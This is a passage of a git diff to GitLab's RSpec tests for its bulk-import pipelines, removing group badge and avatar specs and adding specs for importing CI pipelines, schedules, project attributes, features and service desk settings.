- let_it_be(:entity) do
- create(
- :bulk_import_entity,
- source_full_path: 'source/full/path',
- destination_name: 'My Destination Group',
- destination_namespace: group.full_path,
- group: group
- )
- end
-
- let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
- let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
-
- subject { described_class.new(context) }
-
- describe '#run' do
- it 'imports a group badge' do
- first_page = extracted_data(has_next_page: true)
- last_page = extracted_data(name: 'badge2')
-
- allow_next_instance_of(BulkImports::Common::Extractors::RestExtractor) do |extractor|
- allow(extractor)
- .to receive(:extract)
- .and_return(first_page, last_page)
- end
-
- expect { subject.run }.to change(Badge, :count).by(2)
-
- badge = group.badges.last
-
- expect(badge.name).to eq('badge2')
- expect(badge.link_url).to eq(badge_data['link_url'])
- expect(badge.image_url).to eq(badge_data['image_url'])
- end
-
- describe '#load' do
- it 'creates a badge' do
- expect { subject.load(context, badge_data) }.to change(Badge, :count).by(1)
-
- badge = group.badges.first
-
- badge_data.each do |key, value|
- expect(badge[key]).to eq(value)
- end
- end
-
- it 'does nothing when the data is blank' do
- expect { subject.load(context, nil) }.not_to change(Badge, :count)
- end
- end
-
- describe '#transform' do
- it 'return transformed badge hash' do
- badge = subject.transform(context, badge_data)
-
- expect(badge[:name]).to eq('badge')
- expect(badge[:link_url]).to eq(badge_data['link_url'])
- expect(badge[:image_url]).to eq(badge_data['image_url'])
- expect(badge.keys).to contain_exactly(:name, :link_url, :image_url)
- end
-
- context 'when data is blank' do
- it 'does nothing when the data is blank' do
- expect(subject.transform(context, nil)).to be_nil
- end
- end
- end
-
- describe 'pipeline parts' do
- it { expect(described_class).to include_module(BulkImports::Pipeline) }
- it { expect(described_class).to include_module(BulkImports::Pipeline::Runner) }
-
- it 'has extractors' do
- expect(described_class.get_extractor)
- .to eq(
- klass: BulkImports::Common::Extractors::RestExtractor,
- options: {
- query: BulkImports::Groups::Rest::GetBadgesQuery
- }
- )
- end
-
- it 'has transformers' do
- expect(described_class.transformers)
- .to contain_exactly(
- { klass: BulkImports::Common::Transformers::ProhibitedAttributesTransformer, options: nil }
- )
- end
- end
-
- def badge_data(name = 'badge')
- {
- 'name' => name,
- 'link_url' => 'https://gitlab.example.com',
- 'image_url' => 'https://gitlab.example.com/image.png'
- }
- end
-
- def extracted_data(name: 'badge', has_next_page: false)
- page_info = {
- 'has_next_page' => has_next_page,
- 'next_page' => has_next_page ? '2' : nil
- }
-
- BulkImports::Pipeline::ExtractedData.new(data: [badge_data(name)], page_info: page_info)
- end
- end
-end
diff --git a/spec/lib/bulk_imports/groups/pipelines/group_avatar_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/group_avatar_pipeline_spec.rb
deleted file mode 100644
index c68284aa580..00000000000
--- a/spec/lib/bulk_imports/groups/pipelines/group_avatar_pipeline_spec.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe BulkImports::Groups::Pipelines::GroupAvatarPipeline do
- let_it_be(:user) { create(:user) }
- let_it_be(:group) { create(:group) }
- let_it_be(:bulk_import) { create(:bulk_import, user: user) }
-
- let_it_be(:entity) do
- create(
- :bulk_import_entity,
- group: group,
- bulk_import: bulk_import,
- source_full_path: 'source/full/path',
- destination_name: 'My Destination Group',
- destination_namespace: group.full_path
- )
- end
-
- let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
- let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
-
- subject { described_class.new(context) }
-
- describe '#run' do
- it 'updates the group avatar' do
- avatar_path = 'spec/fixtures/dk.png'
- stub_file_download(
- avatar_path,
- configuration: context.configuration,
- relative_url: "/groups/source%2Ffull%2Fpath/avatar",
- dir: an_instance_of(String),
- file_size_limit: Avatarable::MAXIMUM_FILE_SIZE,
- allowed_content_types: described_class::ALLOWED_AVATAR_DOWNLOAD_TYPES
- )
-
- expect { subject.run }.to change(context.group, :avatar)
-
- expect(context.group.avatar.filename).to eq(File.basename(avatar_path))
- end
-
- it 'raises an error when the avatar upload fails' do
- avatar_path = 'spec/fixtures/aosp_manifest.xml'
- stub_file_download(
- avatar_path,
- configuration: context.configuration,
- relative_url: "/groups/source%2Ffull%2Fpath/avatar",
- dir: an_instance_of(String),
- file_size_limit: Avatarable::MAXIMUM_FILE_SIZE,
- allowed_content_types: described_class::ALLOWED_AVATAR_DOWNLOAD_TYPES
- )
-
- expect_next_instance_of(Gitlab::Import::Logger) do |logger|
- expect(logger).to receive(:error)
- .with(
- bulk_import_id: context.bulk_import.id,
- bulk_import_entity_id: context.entity.id,
- bulk_import_entity_type: context.entity.source_type,
- context_extra: context.extra,
- exception_class: "BulkImports::Groups::Pipelines::GroupAvatarPipeline::GroupAvatarLoadingError",
- exception_message: "Avatar file format is not supported. Please try one of the following supported formats: image/png, image/jpeg, image/gif, image/bmp, image/tiff, image/vnd.microsoft.icon",
- pipeline_class: "BulkImports::Groups::Pipelines::GroupAvatarPipeline",
- pipeline_step: :loader
- )
- end
-
- expect { subject.run }.to change(BulkImports::Failure, :count)
- end
- end
-
- def stub_file_download(filepath = 'file/path.png', **params)
- expect_next_instance_of(BulkImports::FileDownloadService, params.presence) do |downloader|
- expect(downloader).to receive(:execute).and_return(filepath)
- end
- end
-end
diff --git a/spec/lib/bulk_imports/groups/rest/get_badges_query_spec.rb b/spec/lib/bulk_imports/groups/rest/get_badges_query_spec.rb
deleted file mode 100644
index eef6848e118..00000000000
--- a/spec/lib/bulk_imports/groups/rest/get_badges_query_spec.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe BulkImports::Groups::Rest::GetBadgesQuery do
- describe '.to_h' do
- it 'returns query resource and page info' do
- entity = create(:bulk_import_entity)
- tracker = create(:bulk_import_tracker, entity: entity)
- context = BulkImports::Pipeline::Context.new(tracker)
- encoded_full_path = ERB::Util.url_encode(entity.source_full_path)
- expected = {
- resource: ['groups', encoded_full_path, 'badges'].join('/'),
- query: {
- page: context.tracker.next_page
- }
- }
-
- expect(described_class.to_h(context)).to eq(expected)
- end
- end
-end
diff --git a/spec/lib/bulk_imports/groups/stage_spec.rb b/spec/lib/bulk_imports/groups/stage_spec.rb
index 5719acac4d7..55a8e40f480 100644
--- a/spec/lib/bulk_imports/groups/stage_spec.rb
+++ b/spec/lib/bulk_imports/groups/stage_spec.rb
@@ -8,13 +8,13 @@ RSpec.describe BulkImports::Groups::Stage do
let(:pipelines) do
[
[0, BulkImports::Groups::Pipelines::GroupPipeline],
- [1, BulkImports::Groups::Pipelines::GroupAvatarPipeline],
[1, BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline],
[1, BulkImports::Groups::Pipelines::MembersPipeline],
[1, BulkImports::Common::Pipelines::LabelsPipeline],
[1, BulkImports::Common::Pipelines::MilestonesPipeline],
- [1, BulkImports::Groups::Pipelines::BadgesPipeline],
- [2, BulkImports::Common::Pipelines::BoardsPipeline]
+ [1, BulkImports::Common::Pipelines::BadgesPipeline],
+ [2, BulkImports::Common::Pipelines::BoardsPipeline],
+ [2, BulkImports::Common::Pipelines::UploadsPipeline]
]
end
@@ -24,7 +24,7 @@ RSpec.describe BulkImports::Groups::Stage do
describe '.pipelines' do
it 'list all the pipelines with their stage number, ordered by stage' do
- expect(described_class.new(bulk_import).pipelines & pipelines).to eq(pipelines)
+ expect(described_class.new(bulk_import).pipelines & pipelines).to contain_exactly(*pipelines)
expect(described_class.new(bulk_import).pipelines.last.last).to eq(BulkImports::Common::Pipelines::EntityFinisher)
end
diff --git a/spec/lib/bulk_imports/ndjson_pipeline_spec.rb b/spec/lib/bulk_imports/ndjson_pipeline_spec.rb
index c5197fb29d9..8ea6ceb7619 100644
--- a/spec/lib/bulk_imports/ndjson_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/ndjson_pipeline_spec.rb
@@ -130,6 +130,22 @@ RSpec.describe BulkImports::NdjsonPipeline do
subject.transform(context, data)
end
+
+ context 'when data is nil' do
+ before do
+ expect(Gitlab::ImportExport::Group::RelationFactory).not_to receive(:create)
+ end
+
+ it 'returns' do
+ expect(subject.transform(nil, nil)).to be_nil
+ end
+
+ context 'when relation hash is nil' do
+ it 'returns' do
+ expect(subject.transform(nil, [nil, 0])).to be_nil
+ end
+ end
+ end
end
describe '#load' do
@@ -143,16 +159,6 @@ RSpec.describe BulkImports::NdjsonPipeline do
end
end
- context 'when object is persisted' do
- it 'does not save the object' do
- object = double(persisted?: true)
-
- expect(object).not_to receive(:save!)
-
- subject.load(nil, object)
- end
- end
-
context 'when object is missing' do
it 'returns' do
expect(subject.load(nil, nil)).to be_nil
diff --git a/spec/lib/bulk_imports/projects/graphql/get_snippet_repository_query_spec.rb b/spec/lib/bulk_imports/projects/graphql/get_snippet_repository_query_spec.rb
new file mode 100644
index 00000000000..b680fa5cbfc
--- /dev/null
+++ b/spec/lib/bulk_imports/projects/graphql/get_snippet_repository_query_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Projects::Graphql::GetSnippetRepositoryQuery do
+ describe 'query repository based on full_path' do
+ let_it_be(:entity) { create(:bulk_import_entity) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ it 'has a valid query' do
+ query = GraphQL::Query.new(
+ GitlabSchema,
+ described_class.to_s,
+ variables: described_class.variables(context)
+ )
+ result = GitlabSchema.static_validator.validate(query)
+
+ expect(result[:errors]).to be_empty
+ end
+
+ it 'returns snippet httpUrlToRepo' do
+ expect(described_class.to_s).to include('httpUrlToRepo')
+ end
+
+ it 'returns snippet createdAt' do
+ expect(described_class.to_s).to include('createdAt')
+ end
+
+ it 'returns snippet title' do
+ expect(described_class.to_s).to include('title')
+ end
+
+ describe '.variables' do
+ it 'queries project based on source_full_path and pagination' do
+ expected = { full_path: entity.source_full_path, cursor: nil, per_page: 500 }
+
+ expect(described_class.variables(context)).to eq(expected)
+ end
+ end
+
+ describe '.data_path' do
+ it '.data_path returns data path' do
+ expected = %w[data project snippets nodes]
+
+ expect(described_class.data_path).to eq(expected)
+ end
+ end
+
+ describe '.page_info_path' do
+ it '.page_info_path returns pagination information path' do
+ expected = %w[data project snippets page_info]
+
+ expect(described_class.page_info_path).to eq(expected)
+ end
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/projects/pipelines/auto_devops_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/auto_devops_pipeline_spec.rb
new file mode 100644
index 00000000000..e2744a6a457
--- /dev/null
+++ b/spec/lib/bulk_imports/projects/pipelines/auto_devops_pipeline_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Projects::Pipelines::AutoDevopsPipeline do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+ let_it_be(:entity) do
+ create(
+ :bulk_import_entity,
+ :project_entity,
+ project: project,
+ bulk_import: bulk_import,
+ source_full_path: 'source/full/path',
+ destination_name: 'My Destination Project',
+ destination_namespace: group.full_path
+ )
+ end
+
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ let(:auto_devops) do
+ {
+ 'created_at' => '2016-06-13T15:02:47.967Z',
+ 'updated_at' => '2016-06-14T15:02:47.967Z',
+ 'enabled' => true,
+ 'deploy_strategy' => 'continuous'
+ }
+ end
+
+ subject(:pipeline) { described_class.new(context) }
+
+ describe '#run' do
+ it 'imports auto devops options into destination project' do
+ group.add_owner(user)
+
+ allow_next_instance_of(BulkImports::Common::Extractors::NdjsonExtractor) do |extractor|
+ allow(extractor).to receive(:extract).and_return(BulkImports::Pipeline::ExtractedData.new(data: [auto_devops]))
+ end
+
+ pipeline.run
+
+ expect(project.auto_devops.enabled).to be_truthy
+ expect(project.auto_devops.deploy_strategy).to eq('continuous')
+ expect(project.auto_devops.created_at).to eq('2016-06-13T15:02:47.967Z')
+ expect(project.auto_devops.updated_at).to eq('2016-06-14T15:02:47.967Z')
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/projects/pipelines/ci_pipelines_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/ci_pipelines_pipeline_spec.rb
new file mode 100644
index 00000000000..98a2e8b6a57
--- /dev/null
+++ b/spec/lib/bulk_imports/projects/pipelines/ci_pipelines_pipeline_spec.rb
@@ -0,0 +1,176 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Projects::Pipelines::CiPipelinesPipeline do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+ let_it_be(:entity) do
+ create(
+ :bulk_import_entity,
+ :project_entity,
+ project: project,
+ bulk_import: bulk_import,
+ source_full_path: 'source/full/path',
+ destination_name: 'My Destination Project',
+ destination_namespace: group.full_path
+ )
+ end
+
+ let(:ci_pipeline_attributes) { {} }
+ let(:ci_pipeline) do
+ {
+ sha: "fakesha",
+ ref: "fakeref",
+ project: project,
+ source: "web"
+ }.merge(ci_pipeline_attributes)
+ end
+
+ let(:ci_pipeline2) do
+ {
+ sha: "fakesha2",
+ ref: "fakeref2",
+ project: project,
+ source: "web"
+ }.merge(ci_pipeline_attributes)
+ end
+
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ subject(:pipeline) { described_class.new(context) }
+
+ describe '#run' do
+ before do
+ group.add_owner(user)
+
+ allow_next_instance_of(BulkImports::Common::Extractors::NdjsonExtractor) do |extractor|
+ allow(extractor).to receive(:extract).and_return(
+ BulkImports::Pipeline::ExtractedData.new(data: [ci_pipeline, ci_pipeline2])
+ )
+ end
+
+ allow_next_instance_of(Repository) do |repository|
+ allow(repository).to receive(:fetch_source_branch!)
+ end
+
+ pipeline.run
+ end
+
+ it 'imports Ci::Pipeline into destination project' do
+ expect(project.all_pipelines.count).to eq(2)
+ expect(project.ci_pipelines.first.sha).to eq('fakesha')
+ expect(project.ci_pipelines.second.sha).to eq('fakesha2')
+ end
+
+ context 'notes' do
+ let(:ci_pipeline_attributes) do
+ {
+ 'notes' => [
+ {
+ 'note' => 'test note',
+ 'author_id' => 22,
+ 'noteable_type' => 'Commit',
+ 'sha' => '',
+ 'author' => {
+ 'name' => 'User 22'
+ },
+ 'commit_id' => 'fakesha',
+ 'updated_at' => '2016-06-14T15:02:47.770Z',
+ 'events' => [
+ {
+ 'action' => 'created',
+ 'author_id' => 22
+ }
+ ]
+ }
+ ]
+ }
+ end
+
+ it 'imports pipeline with notes' do
+ note = project.all_pipelines.first.notes.first
+ expect(note.note).to include('test note')
+ expect(note.events.first.action).to eq('created')
+ end
+ end
+
+ context 'stages' do
+ let(:ci_pipeline_attributes) do
+ {
+ 'stages' => [
+ {
+ 'name' => 'test stage',
+ 'statuses' => [
+ {
+ 'name' => 'first status',
+ 'status' => 'created'
+ }
+ ]
+ }
+ ]
+ }
+ end
+
+ it 'imports pipeline with notes' do
+ stage = project.all_pipelines.first.stages.first
+ expect(stage.name).to eq('test stage')
+ expect(stage.statuses.first.name).to eq('first status')
+ end
+ end
+
+ context 'external pull request' do
+ let(:ci_pipeline_attributes) do
+ {
+ 'source' => 'external_pull_request_event',
+ 'external_pull_request' => {
+ 'source_branch' => 'test source branch',
+ 'target_branch' => 'master',
+ 'source_sha' => 'testsha',
+ 'target_sha' => 'targetsha',
+ 'source_repository' => 'test repository',
+ 'target_repository' => 'test repository',
+ 'status' => 1,
+ 'pull_request_iid' => 1
+ }
+ }
+ end
+
+ it 'imports pipeline with external pull request' do
+ pull_request = project.all_pipelines.first.external_pull_request
+ expect(pull_request.source_branch).to eq('test source branch')
+ expect(pull_request.status).to eq('open')
+ end
+ end
+
+ context 'merge request' do
+ let(:ci_pipeline_attributes) do
+ {
+ 'source' => 'merge_request_event',
+ 'merge_request' => {
+ 'description' => 'test merge request',
+ 'title' => 'test MR',
+ 'source_branch' => 'test source branch',
+ 'target_branch' => 'master',
+ 'source_sha' => 'testsha',
+ 'target_sha' => 'targetsha',
+ 'source_repository' => 'test repository',
+ 'target_repository' => 'test repository',
+ 'target_project_id' => project.id,
+ 'source_project_id' => project.id,
+ 'author_id' => user.id
+ }
+ }
+ end
+
+ it 'imports pipeline with external pull request' do
+ merge_request = project.all_pipelines.first.merge_request
+ expect(merge_request.source_branch).to eq('test source branch')
+ expect(merge_request.description).to eq('test merge request')
+ end
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/projects/pipelines/container_expiration_policy_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/container_expiration_policy_pipeline_spec.rb
new file mode 100644
index 00000000000..9dac8e45ef9
--- /dev/null
+++ b/spec/lib/bulk_imports/projects/pipelines/container_expiration_policy_pipeline_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Projects::Pipelines::ContainerExpirationPolicyPipeline do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:entity) { create(:bulk_import_entity, :project_entity, project: project) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ let_it_be(:policy) do
+ {
+ 'created_at' => '2019-12-13 13:45:04 UTC',
+ 'updated_at' => '2019-12-14 13:45:04 UTC',
+ 'next_run_at' => '2019-12-15 13:45:04 UTC',
+ 'name_regex' => 'test',
+ 'name_regex_keep' => 'regex_keep',
+ 'cadence' => '3month',
+ 'older_than' => '1month',
+ 'keep_n' => 100,
+ 'enabled' => true
+ }
+ end
+
+ subject(:pipeline) { described_class.new(context) }
+
+ describe '#run' do
+ it 'imports project feature', :aggregate_failures do
+ allow_next_instance_of(BulkImports::Common::Extractors::NdjsonExtractor) do |extractor|
+ allow(extractor).to receive(:extract).and_return(BulkImports::Pipeline::ExtractedData.new(data: [[policy, 0]]))
+ end
+
+ pipeline.run
+
+ policy.each_pair do |key, value|
+ expect(entity.project.container_expiration_policy.public_send(key)).to eq(value)
+ end
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/projects/pipelines/pipeline_schedules_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/pipeline_schedules_pipeline_spec.rb
new file mode 100644
index 00000000000..12713f008bb
--- /dev/null
+++ b/spec/lib/bulk_imports/projects/pipelines/pipeline_schedules_pipeline_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Projects::Pipelines::PipelineSchedulesPipeline do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+ let_it_be(:entity) do
+ create(
+ :bulk_import_entity,
+ :project_entity,
+ project: project,
+ bulk_import: bulk_import,
+ source_full_path: 'source/full/path',
+ destination_name: 'My Destination Project',
+ destination_namespace: group.full_path
+ )
+ end
+
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ let(:schedule_attributes) { {} }
+ let(:schedule) do
+ {
+ 'description' => 'test pipeline schedule',
+ 'cron' => '1 1 1 1 1',
+ 'cron_timezone' => 'UTC',
+ 'ref' => 'testref',
+ 'created_at' => '2016-06-13T15:02:47.967Z',
+ 'updated_at' => '2016-06-14T15:02:47.967Z'
+ }.merge(schedule_attributes)
+ end
+
+ subject(:pipeline) { described_class.new(context) }
+
+ before do
+ group.add_owner(user)
+
+ allow_next_instance_of(BulkImports::Common::Extractors::NdjsonExtractor) do |extractor|
+ allow(extractor).to receive(:extract).and_return(BulkImports::Pipeline::ExtractedData.new(data: [schedule]))
+ end
+
+ pipeline.run
+ end
+
+ it 'imports schedule into destination project' do
+ expect(project.pipeline_schedules.count).to eq(1)
+ pipeline_schedule = project.pipeline_schedules.first
+ schedule.each do |k, v|
+ expect(pipeline_schedule.send(k)).to eq(v)
+ end
+ end
+
+ context 'is active' do
+ let(:schedule_attributes) { { 'active' => true } }
+
+ it 'imports the schedule but active is false' do
+ expect(project.pipeline_schedules.first.active).to be_falsey
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/projects/pipelines/project_attributes_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/project_attributes_pipeline_spec.rb
new file mode 100644
index 00000000000..11c475318bb
--- /dev/null
+++ b/spec/lib/bulk_imports/projects/pipelines/project_attributes_pipeline_spec.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Projects::Pipelines::ProjectAttributesPipeline do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:bulk_import) { create(:bulk_import) }
+ let_it_be(:entity) { create(:bulk_import_entity, :project_entity, project: project, bulk_import: bulk_import) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ let(:tmpdir) { Dir.mktmpdir }
+ let(:extra) { {} }
+ let(:project_attributes) do
+ {
+ 'description' => 'description',
+ 'visibility_level' => 0,
+ 'archived' => false,
+ 'merge_requests_template' => 'test',
+ 'merge_requests_rebase_enabled' => true,
+ 'approvals_before_merge' => 0,
+ 'reset_approvals_on_push' => true,
+ 'merge_requests_ff_only_enabled' => true,
+ 'issues_template' => 'test',
+ 'shared_runners_enabled' => true,
+ 'build_coverage_regex' => 'build_coverage_regex',
+ 'build_allow_git_fetch' => true,
+ 'build_timeout' => 3600,
+ 'pending_delete' => false,
+ 'public_builds' => true,
+ 'last_repository_check_failed' => nil,
+ 'only_allow_merge_if_pipeline_succeeds' => true,
+ 'has_external_issue_tracker' => false,
+ 'request_access_enabled' => true,
+ 'has_external_wiki' => false,
+ 'ci_config_path' => nil,
+ 'only_allow_merge_if_all_discussions_are_resolved' => true,
+ 'printing_merge_request_link_enabled' => true,
+ 'auto_cancel_pending_pipelines' => 'enabled',
+ 'service_desk_enabled' => false,
+ 'delete_error' => nil,
+ 'disable_overriding_approvers_per_merge_request' => true,
+ 'resolve_outdated_diff_discussions' => true,
+ 'jobs_cache_index' => nil,
+ 'external_authorization_classification_label' => nil,
+ 'pages_https_only' => false,
+ 'merge_requests_author_approval' => false,
+ 'merge_requests_disable_committers_approval' => true,
+ 'require_password_to_approve' => true,
+ 'remove_source_branch_after_merge' => true,
+ 'autoclose_referenced_issues' => true,
+ 'suggestion_commit_message' => 'Test!'
+ }.merge(extra)
+ end
+
+ subject(:pipeline) { described_class.new(context) }
+
+ before do
+ allow(Dir).to receive(:mktmpdir).and_return(tmpdir)
+ end
+
+ after do
+ FileUtils.remove_entry(tmpdir) if Dir.exist?(tmpdir)
+ end
+
+ describe '#run' do
+ before do
+ allow(pipeline).to receive(:extract).and_return(BulkImports::Pipeline::ExtractedData.new(data: project_attributes))
+
+ pipeline.run
+ end
+
+ it 'imports project attributes', :aggregate_failures do
+ project_attributes.each_pair do |key, value|
+ expect(project.public_send(key)).to eq(value)
+ end
+ end
+
+ context 'when project is archived' do
+ let(:extra) { { 'archived' => true } }
+
+ it 'sets project as archived' do
+ expect(project.archived).to eq(true)
+ end
+ end
+ end
+
+ describe '#extract' do
+ before do
+ file_download_service = instance_double("BulkImports::FileDownloadService")
+ file_decompression_service = instance_double("BulkImports::FileDecompressionService")
+
+ expect(BulkImports::FileDownloadService)
+ .to receive(:new)
+ .with(
+ configuration: context.configuration,
+ relative_url: "/#{entity.pluralized_name}/#{entity.source_full_path}/export_relations/download?relation=self",
+ dir: tmpdir,
+ filename: 'self.json.gz')
+ .and_return(file_download_service)
+
+ expect(BulkImports::FileDecompressionService)
+ .to receive(:new)
+ .with(dir: tmpdir, filename: 'self.json.gz')
+ .and_return(file_decompression_service)
+
+ expect(file_download_service).to receive(:execute)
+ expect(file_decompression_service).to receive(:execute)
+ end
+
+ it 'downloads, decompresses & decodes json' do
+ allow(pipeline).to receive(:json_attributes).and_return("{\"test\":\"test\"}")
+
+ extracted_data = pipeline.extract(context)
+
+ expect(extracted_data.data).to match_array([{ 'test' => 'test' }])
+ end
+
+ context 'when json parsing error occurs' do
+ it 'raises an error' do
+ allow(pipeline).to receive(:json_attributes).and_return("invalid")
+
+ expect { pipeline.extract(context) }.to raise_error(BulkImports::Error)
+ end
+ end
+ end
+
+ describe '#transform' do
+ it 'removes prohibited attributes from hash' do
+ input = { 'description' => 'description', 'issues' => [], 'milestones' => [], 'id' => 5 }
+
+ expect(Gitlab::ImportExport::AttributeCleaner).to receive(:clean).and_call_original
+
+ expect(pipeline.transform(context, input)).to eq({ 'description' => 'description' })
+ end
+ end
+
+ describe '#load' do
+ it 'assigns attributes, drops visibility and reconciles shared runner setting' do
+ expect(project).to receive(:assign_attributes).with(project_attributes)
+ expect(project).to receive(:reconcile_shared_runners_setting!)
+ expect(project).to receive(:drop_visibility_level!)
+ expect(project).to receive(:save!)
+
+ pipeline.load(context, project_attributes)
+ end
+ end
+
+ describe '#json_attributes' do
+ it 'reads raw json from file' do
+ filepath = File.join(tmpdir, 'self.json')
+
+ FileUtils.touch(filepath)
+ expect_file_read(filepath)
+
+ pipeline.json_attributes
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/projects/pipelines/project_feature_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/project_feature_pipeline_spec.rb
new file mode 100644
index 00000000000..1f0defdd20c
--- /dev/null
+++ b/spec/lib/bulk_imports/projects/pipelines/project_feature_pipeline_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Projects::Pipelines::ProjectFeaturePipeline do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:entity) { create(:bulk_import_entity, :project_entity, project: project) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+ let_it_be(:project_feature) do
+ {
+ "builds_access_level": 10,
+ "wiki_access_level": 10,
+ "issues_access_level": 10,
+ "merge_requests_access_level": 10,
+ "snippets_access_level": 10,
+ "repository_access_level": 10,
+ "pages_access_level": 10,
+ "forking_access_level": 10,
+ "metrics_dashboard_access_level": 10,
+ "operations_access_level": 10,
+ "analytics_access_level": 10,
+ "security_and_compliance_access_level": 10,
+ "container_registry_access_level": 10,
+ "updated_at": "2016-09-23T11:58:28.000Z",
+ "created_at": "2014-12-26T09:26:45.000Z"
+ }
+ end
+
+ subject(:pipeline) { described_class.new(context) }
+
+ describe '#run' do
+ it 'imports project feature', :aggregate_failures do
+ allow_next_instance_of(BulkImports::Common::Extractors::NdjsonExtractor) do |extractor|
+ allow(extractor).to receive(:extract).and_return(BulkImports::Pipeline::ExtractedData.new(data: [[project_feature, 0]]))
+ end
+
+ pipeline.run
+
+ project_feature.each_pair do |key, value|
+ expect(entity.project.project_feature.public_send(key)).to eq(value)
+ end
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/projects/pipelines/repository_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/repository_pipeline_spec.rb
index 583485faf8d..38b22538e70 100644
--- a/spec/lib/bulk_imports/projects/pipelines/repository_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/projects/pipelines/repository_pipeline_spec.rb
@@ -47,6 +47,17 @@ RSpec.describe BulkImports::Projects::Pipelines::RepositoryPipeline do
end
end
+ context 'project has no repository' do
+ let(:project_data) { { 'httpUrlToRepo' => '' } }
+
+ it 'skips repository import' do
+ expect(context.portable).not_to receive(:ensure_repository)
+ expect(context.portable.repository).not_to receive(:fetch_as_mirror)
+
+ pipeline.run
+ end
+ end
+
context 'blocked local networks' do
let(:project_data) { { 'httpUrlToRepo' => 'http://localhost/foo.git' } }
diff --git a/spec/lib/bulk_imports/projects/pipelines/service_desk_setting_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/service_desk_setting_pipeline_spec.rb
new file mode 100644
index 00000000000..2dfa036fc48
--- /dev/null
+++ b/spec/lib/bulk_imports/projects/pipelines/service_desk_setting_pipeline_spec.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Projects::Pipelines::ServiceDeskSettingPipeline do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:entity) { create(:bulk_import_entity, :project_entity, project: project) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+ let_it_be(:setting) { { 'issue_template_key' => 'test', 'project_key' => 'key' } }
+
+ subject(:pipeline) { described_class.new(context) }
+
+ describe '#run' do
+ it 'imports project feature', :aggregate_failures do
+ allow_next_instance_of(BulkImports::Common::Extractors::NdjsonExtractor) do |extractor|
+ allow(extractor).to receive(:extract).and_return(BulkImports::Pipeline::ExtractedData.new(data: [[setting, 0]]))
+ end
+
+ pipeline.run
+
+ setting.each_pair do |key, value|
+ expect(entity.project.service_desk_setting.public_send(key)).to eq(value)
+ end
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/projects/pipelines/snippets_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/snippets_pipeline_spec.rb
new file mode 100644
